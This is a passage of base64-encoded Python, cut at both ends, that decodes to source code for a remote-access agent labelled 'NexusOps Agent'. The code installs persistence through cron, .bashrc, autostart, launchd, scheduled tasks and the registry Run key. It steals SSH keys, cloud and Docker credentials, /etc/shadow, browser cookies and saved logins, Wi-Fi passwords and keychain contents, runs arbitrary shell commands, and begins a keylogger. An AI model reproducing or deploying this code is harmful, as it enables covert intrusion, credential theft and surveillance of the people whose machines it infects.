ucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgZXhpc3RpbmcgPSBzdWJwcm9jZXNzLnJ1bigiY3JvbnRhYiAtbCAyPi9kZXYvbnVsbCIsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSkuc3Rkb3V0CiAgICAgICAgICAgICAgICBpZiBjcm9uX2xpbmUuc3BsaXQoJ0ByZWJvb3QnKVsxXS5zdHJpcCgpIG5vdCBpbiBleGlzdGluZzoKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihmJyhjcm9udGFiIC1sIDI+L2Rldi9udWxsOyBlY2hvICJ7Y3Jvbl9saW5lfSIpIHwgY3JvbnRhYiAtJywgc2hlbGw9VHJ1ZSkKICAgICAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQgQHJlYm9vdCBlbnRyeSIpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBhbHJlYWR5IHByZXNlbnQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgICAgICAjIC5iYXNocmMKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYmFzaHJjID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5iYXNocmMiKQogICAgICAgICAgICAgICAgaG9vayA9IGYiXG4jIG5leHVzLWFnZW50XG4ocGdyZXAgLWYgYWdlbnQucHkgfHwgcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3BheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJyl9ICY+L2Rldi9udWxsICYpXG4iCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oYmFzaHJjLCAnYSsnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgICAgICAgICAgICAgIGlmICduZXh1cy1hZ2VudCcgbm90IGluIGYucmVhZCgpOgogICAgICAgICAgICAgICAgICAgICAgICBmLndyaXRlKGhvb2spCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiYmFzaHJjOiBob29rIGluc3RhbGxlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoImJhc2hyYzogZmFpbGVkIikKICAgICAgICAgICAgIyBhdXRvc3RhcnQgLmRlc2t0b3AKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYWQgPSBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9hdXRvc3RhcnQiKQogICAgICAgICAgICAgICAgb3MubWFrZWRpcnMoYWQsIGV4aXN0X29rPVRydWUpCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKGFkLCAibmV4dXMtYWdlbnQuZGVza3RvcCIpLCAndycpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZi53cml0ZShmIltEZXNrdG9wIEVudHJ5XVxuVHlwZT1BcHBsaWNhdGlvblxuTmFtZT1OZXh1cyBBZ2VudFxuRXhlYz1weXRob24zIHtvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfSAtLXNlcnZlciB7cGF5bG9hZC5nZXQoJ3NlcnZlcl91cmwnLCcnKX1cbkhpZGRlbj1mYWxzZVxuTm9EaXNwbGF5PXRydWVcblgtR05PTUUtQXV0b3N0YXJ0LWVuYWJsZWQ9dHJ1ZVxuIikKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IC5kZXNrdG9wIGNyZWF0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IGZhaWxlZCIpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHBsaXN0ID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvTGF1bmNoQWdlbnRzL2NvbS5uZXh1c29wcy5hZ2VudC5wbGlzdCIpCiAgICAgICAgICAgICAgICBvcy5tYWtlZGlycyhvcy5wYXRoLmRpcm5hbWUocGxpc3QpLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICAgICAgcGxpc3RfY29udGVudCA9IGYnJyc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pgo8IURPQ1RZUEUgcGxpc3QgUFVCTElDICItLy9BcHBsZS8vRFREIFBMSVNUIDEuMC8vRU4iICJodHRwOi8vd3d3LmFwcGxlLmNvbS9EVERzL1Byb3BlcnR5TGlzdC0xLjAuZHRkIj4KPHBsaXN0IHZlcnNpb249IjEuMCI+PGRpY3Q+PGtleT5MYWJlbDwva2V5PjxzdHJpbmc+Y29tLm5leHVzb3BzLmFnZW50PC9zdHJpbmc+CjxrZXk+UHJvZ3JhbUFyZ3VtZW50czwva2V5PjxhcnJheT48c3RyaW5nPi91c3IvYmluL3B5dGhvbjM8L3N0cmluZz48c3RyaW5nPntvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfTwvc3RyaW5nPjxzdHJpbmc+LS1zZXJ2ZXI8L3N0cmluZz48c3RyaW5nPntwYXlsb2FkLmdldCgnc2VydmVyX3VybCcsJycpfTwvc3RyaW5nPjwvYXJyYXk+CjxrZXk+UnVuQXRMb2FkPC9rZXk+PHRydWUvPjxrZXk+S2VlcEFsaXZlPC9rZXk+PHRydWUvPjwvZGljdD48L3BsaXN0PicnJwogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHBsaXN0LCAndycpIGFzIGY6IGYud3JpdGUocGxpc3RfY29udGVudCkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImJvb3RvdXQiLCBmImd1aS97b3MuZ2V0dWlkKCl9IiwgcGxpc3RdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJsYXVuY2hjdGwiLCAiYm9vdHN0cmFwIiwgZiJndWkve29zLmdldHVpZCgpfSIsIHBsaXN0XSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImtpY2tzdGFydCIsIGYiZ3VpL3tvcy5nZXR1aWQoKX0vY29tLm5leHVzb3BzLmFnZW50Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgibGF1bmNoZDogYm9vdHN0cmFwcGVkICsga2lja3N0YXJ0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJsYXVuY2hkOiBmYWlsZWQiKQogICAgICAgICAgICAjIGNyb250YWIgZm9yIG1hY09TIHRvbwogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oZicoY3JvbnRhYiAtbCAyPi9kZXYvbnVsbDsgZWNobyAie2Nyb25fbGluZX0iKSB8IGNyb250YWIgLScsIHNoZWxsPVRydWUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYWdlbnRfcGF0aCA9IG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykKICAgICAgICAgICAgc3J2ID0gcGF5bG9hZC5nZXQoInNlcnZlcl91cmwiLCAiIikKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgdGFza19jbWQgPSAncG93ZXJzaGVsbCAtQ29tbWFuZCAic2NodGFza3MgL2NyZWF0ZSAvdG4gTmV4dXNPcHNBZ2VudCAvc2MgT05MT0dPTiAvdHIgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAvZiAvcmwgSElHSEVTVCInCiAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bih0YXNrX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJzY2h0YXNrczogc2NoZWR1bGVkIHRhc2sgY3JlYXRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInNjaHRhc2tzOiBmYWlsZWQiKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZWdfY21kID0gJ3Bvd2Vyc2hlbGwgLUNvbW1hbmQgIk5ldy1JdGVtUHJvcGVydHkgLVBhdGggSEtDVTpcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxSdW4gLU5hbWUgTmV4dXNPcHNBZ2VudCAtVmFsdWUgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAtRm9yY2UiJwogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4ocmVnX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJyZWdpc3RyeTogUnVuIGtleSBhZGRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInJlZ2lzdHJ5OiBmYWlsZWQiKQogICAgICAgIHJldHVybiAiUGVyc2lzdGVuY2UgcmVzdWx0czogIiArICI7ICIuam9pbihyZXN1bHRzKSwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImhhcnZlc3RfY3JlZGVudGlhbHMiOgogICAgICAgIGNyZWRzID0gW10KICAgICAgICBob21lID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+IikKICAgICAgICAjIFNoZWxsIGhpc3RvcnkKICAgICAgICBmb3IgaGlzdCBpbiBbIn4vLmJhc2hfaGlzdG9yeSIsICJ+Ly56c2hfaGlzdG9yeSIsICJ+Ly5teXNxbF9oaXN0b3J5IiwgIn4vLnBzcWxfaGlzdG9yeSIsICJ+Ly5weXRob25faGlzdG9yeSIsICJ+Ly5ub2RlX3JlcGxfaGlzdG9yeSJdOgogICAgICAgICAgICBwID0gb3MucGF0aC5leHBhbmR1c2VyKGhpc3QpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudCA9IGYucmVhZCgpWy0yMDAwMDpdCiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic2hlbGxfaGlzdG9yeTp7b3MucGF0aC5iYXNlbmFtZShwKX0iLCAiZGF0YSI6IGNvbnRlbnR9KQogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBTU0gga2V5cwogICAgICAgIHNzaF9kaXIgPSBvcy5wYXRoLmpvaW4oaG9tZSwgIi5zc2giKQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzaF9kaXIpOgogICAgICAgICAgICBmb3IgZm4gaW4gb3MubGlzdGRpcihzc2hfZGlyKToKICAgICAgICAgICAgICAgIGZwID0gb3MucGF0aC5qb2luKHNzaF9kaXIsIGZuKQogICAgICAgICAgICAgICAgaWYgb3MucGF0aC5pc2ZpbGUoZnApIGFuZCAoJ2lkXycgaW4gZm4gb3IgJ2F1dGhvcml6ZWRfa2V5cycgaW4gZm4gb3IgJ2tub3duX2hvc3RzJyBpbiBmbik6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4oZnAsICdyJywgZXJyb3JzPSdpZ25vcmUnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic3NoOntmbn0iLCAiZGF0YSI6IGYucmVhZCgpWzoxMDAwMF19KQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICMgQVdTIC8gY2xvdWQgY3JlZGVudGlhbHMKICAgICAgICBmb3IgY2YgaW4gWyJ+Ly5hd3MvY3JlZGVudGlhbHMiLCAifi8uYXdzL2NvbmZpZyIsICJ+Ly5jb25maWcvZ2Nsb3VkL2NyZWRlbnRpYWxzLmRiIiwKICAgICAgICAgICAgICAgICAgICAifi8uYXp1cmUvYWNjZXNzVG9rZW5zLmpzb24iLCAifi8uZG9ja2VyL2NvbmZpZy5qc29uIl06CiAgICAgICAgICAgIHAgPSBvcy5wYXRoLmV4cGFuZHVzZXIoY2YpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiY2xvdWQ6e29zLnBhdGguYmFzZW5hbWUoY2YpfSIsICJkYXRhIjogZi5yZWFkKClbOjEwMDAwXX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIC9ldGMvc2hhZG93IChpZiByb290KQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKCIvZXRjL3NoYWRvdyIpOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oIi9ldGMvc2hhZG93IiwgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAic3lzdGVtOnNoYWRvdyIsICJkYXRhIjogZi5yZWFkKClbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBCcm93c2VyIGNvb2tpZS9zYXZlZC1sb2dpbiBEQnMgKGNvbW1vbiBwYXRocykKICAgICAgICBicm93c2VyX3BhdGhzID0gW10KICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovbG9naW5zLmpzb24iKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL2dvb2dsZS1jaHJvbWUvRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9nb29nbGUtY2hyb21lL0RlZmF1bHQvTG9naW4gRGF0YSIpLAogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5jb25maWcvY2hyb21pdW0vRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9jaHJvbWl1bS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL0JyYXZlU29mdHdhcmUvQnJhdmUtQnJvd3Nlci9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBicm93c2VyX3BhdGhzID0gWwogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC9GaXJlZm94L1Byb2ZpbGVzLyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0Nvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUFQUERBVEElXFxNb3ppbGxhXFxGaXJlZm94XFxQcm9maWxlc1xcKi5kZWZhdWx0KlxcY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXENvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXExvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGltcG9ydCBnbG9iCiAgICAgICAgZm9yIHBhdHRlcm4gaW4gYnJvd3Nlcl9wYXRoczoKICAgICAgICAgICAgZm9yIHAgaW4gZ2xvYi5nbG9iKHBhdHRlcm4pOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN6ID0gb3MucGF0aC5nZXRzaXplKHApCiAgICAgICAgICAgICAgICAgICAgaWYgc3ogPiAwIGFuZCBzeiA8IDUwICogMTAyNCAqIDEwMjQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncmInKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaW1wb3J0IGJhc2U2NAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiYnJvd3Nlcjp7b3MucGF0aC5iYXNlbmFtZShvcy5wYXRoLmRpcm5hbWUocCkpfS97b3MucGF0aC5iYXNlbmFtZShwKX0iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGF0YSI6IGJhc2U2NC5iNjRlbmNvZGUoZi5yZWFkKCkpLmRlY29kZSgndXRmLTgnKX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIFdpLUZpIHBhc3N3b3JkcyAoTGludXgpCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpZmkgPSBzdWJwcm9jZXNzLnJ1bigiZ3JlcCAtciAnXnBzaz0nIC9ldGMvTmV0d29ya01hbmFnZXIvc3lzdGVtLWNvbm5lY3Rpb25zLyAyPi9kZXYvbnVsbCB8fCBncmVwIC1yICd3cGFfcGFzc3BocmFzZScgL2V0Yy93cGFfc3VwcGxpY2FudC8gMj4vZGV2L251bGwgfHwgZWNobyAnbm8gd2lmaSciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD01KS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIHdpZmkuc3RyaXAoKSBhbmQgJ25vIHdpZmknIG5vdCBpbiB3aWZpOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAid2lmaV9wYXNzd29yZHMiLCAiZGF0YSI6IHdpZmlbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBtYWNPUyBLZXljaGFpbiBkdW1wCiAgICAgICAgaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBrZXljaGFpbiA9IHN1YnByb2Nlc3MucnVuKCJzZWN1cml0eSBkdW1wLWtleWNoYWluIC1kIDI+L2Rldi9udWxsIHwgaGVhZCAtMjAwIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTEwKS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIGtleWNoYWluLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6ICJrZXljaGFpbl9kdW1wIiwgImRhdGEiOiBrZXljaGFpbls6MTAwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgIHJldHVybiBqc29uLmR1bXBzKHsidHlwZSI6ImhhcnZlc3RfcmVzdWx0IiwiY3JlZGVudGlhbHMiOmNyZWRzfSksIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJleHBvcnRfZGlhZ25vc3RpY3MiOgogICAgICAgIGNtZCA9ICJ1cHRpbWUgJiYgZnJlZSAtaCAmJiBkZiAtaCAmJiB1bmFtZSAtYSIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJzeXN0ZW1pbmZvIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIHJldHVybiBmIlVua25vd24gYWN0aW9uIHR5cGU6IHthY3Rpb25fdHlwZX0iLCAxCgpkZWYgcnVuX3NoZWxsKGNtZF9zdHIpOgogICAgaWYgbm90IHF1aWV0X21vZGU6CiAgICAgICAgcHJpbnQoZiJbKl0gRXhlY3V0aW5nIGNvbW1hbmQ6IHtjbWRfc3RyfSIpCiAgICB0cnk6CiAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oY21kX3N0ciwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuU1RET1VULCB0ZXh0PVRydWUsIHRpbWVvdXQ9MzApCiAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQsIHJlcy5yZXR1cm5jb2RlCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmV0dXJuIHN0cihlKSwgMQoKIyDilIDilIAgSW5wdXQgQ2FwdHVyZSBNb2R1bGUgKGtleXN0cm9rZXMsIG1vdXNlIGNsaWNrcywgd2luZG93IGZvY3VzKSDilIDilIAKSU5QVVRfQ0FQVFVSRV9FTkFCTEVEID0gRmFsc2UKY2FwdHVyZWRfZXZlbnRzID0gW10KCnRyeToKICAgIGZyb20gcHlucHV0IGltcG9ydCBrZXlib2FyZCwgbW91c2UKICAgIElOUFVUX0NBUFRVUkVfRU5BQkxFRCA9IFRydWUKZXhjZXB0IEltcG9ydEVycm9yOgogICAgcGFzcwoKZGVmIF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpOgogICAgIiIiVHJ5IHRvIGdldCB0aGUgYWN0aXZlIHdpbmRvdyB0aXRsZSBjcm9zcy1wbGF0Zm9ybS4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJ4ZG90b29sIiwgImdldGFjdGl2ZXdpbmRvdyIsICJnZXR3aW5kb3duYW1lIl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD0yKQogICAgICAgICAgICBpZiByZXMucmV0dXJuY29kZSA9PSAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQuc3RyaXAoKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgaW1wb3J0IGN0eXBlcwogICAgICAgICAgICBmcm9tIGN0eXBlcyBpbXBvcnQgd2ludHlwZXMKICAgICAgICAgICAgdXNlcjMyID0gY3R5cGVzLndpbmRsbC51c2VyMzIKICAgICAgICAgICAgaHduZCA9IHVzZXIzMi5HZXRGb3JlZ3JvdW5kV2luZG93KCkKICAgICAgICAgICAgbGVuZ3RoID0gdXNlcjMyLkdldFdpbmRvd1RleHRMZW5ndGhXKGh3bmQpCiAgICAgICAgICAgIGJ1ZiA9IGN0eXBlcy5jcmVhdGVfdW5pY29kZV9idWZmZXIobGVuZ3RoICsgMSkKICAgICAgICAgICAgdXNlcjMyLkdldFdpbmRvd1RleHRXKGh3bmQsIGJ1ZiwgbGVuZ3RoICsgMSkKICAgICAgICAgICAgcmV0dXJuIGJ1Zi52YWx1ZQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBzY3JpcHQgPSAndGVsbCBhcHBsaWNhdGlvbiAiU3lzdGVtIEV2ZW50cyIgdG8gZ2V0IG5hbWUgb2YgZmlyc3QgYXBwbGljYXRpb24gcHJvY2VzcyB3aG9zZSBmcm9udG1vc3QgaXMgdHJ1ZScKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJvc2FzY3JpcHQiLCAiLWUiLCBzY3JpcHRdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9MikKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMDoKICAgICAgICAgICAgICAgIHJldHVybiByZXMuc3Rkb3V0LnN0cmlwKCkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuICIiCgpkZWYgX3JlY29yZF9ldmVudChldmVudF90eXBlLCBkYXRhKToKICAgICIiIlRocmVhZC1zYWZlIGV2ZW50IHJlY29yZGluZy4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIHdpbmRvd190aXRsZSA9IF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpCiAgICBjYXB0dXJlZF9ldmVudHMuYXBwZW5kKHsKICAgICAgICAidGltZXN0YW1wIjogaW50KHRpbWUudGltZSgpICogMTAwMCksCiAgICAgICAgImV2ZW50VHlwZSI6IGV2ZW50X3R5cGUsCiAgICAgICAgImRhdGEiOiBkYXRhLAogICAgICAgICJ3aW5kb3dUaXRsZSI6IHdpbmRvd190aXRsZSwKICAgICAgICAicHJvY2Vzc05hbWUiOiB3aW5kb3dfdGl0bGUuc3BsaXQoIiAtICIpWy0xXSBpZiAiIC0gIiBpbiB3aW5kb3dfdGl0bGUgZWxzZSB3aW5kb3dfdGl0bGUKICAgIH0pCgpkZWYgX29uX2tleV9wcmVzcyhrZXkpOgogICAgdHJ5OgogICAgICAgIGtleV9zdHIgPSBrZXkuY2hhciBpZiBoYXNhdHRyKGtleSwgJ2NoYXInKSBhbmQga2V5LmNoYXIgZWxzZSBzdHIoa2V5KQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBrZXlfc3RyID0gc3RyKGtleSkKICAgIF9yZWNvcmRfZXZlbnQoImtleXN0cm9rZSIsIHsia2V5Ijoga2V5X3N0cn0pCgpkZWYgX29uX2NsaWNrKHgsIHksIGJ1dHRvbiwgcHJlc3NlZCk6CiAgICBpZiBwcmVzc2VkOgogICAgICAgIF9yZWNvcmRfZXZlbnQoImNsaWNrIiwgeyJ4IjogeCwgInkiOiB5LCAiYnV0dG9uIjogc3RyKGJ1dHRvbil9KQoKZGVmIF9vbl9zY3JvbGwoeCwgeSwgZHgsIGR5KToKICAgIF9yZWNvc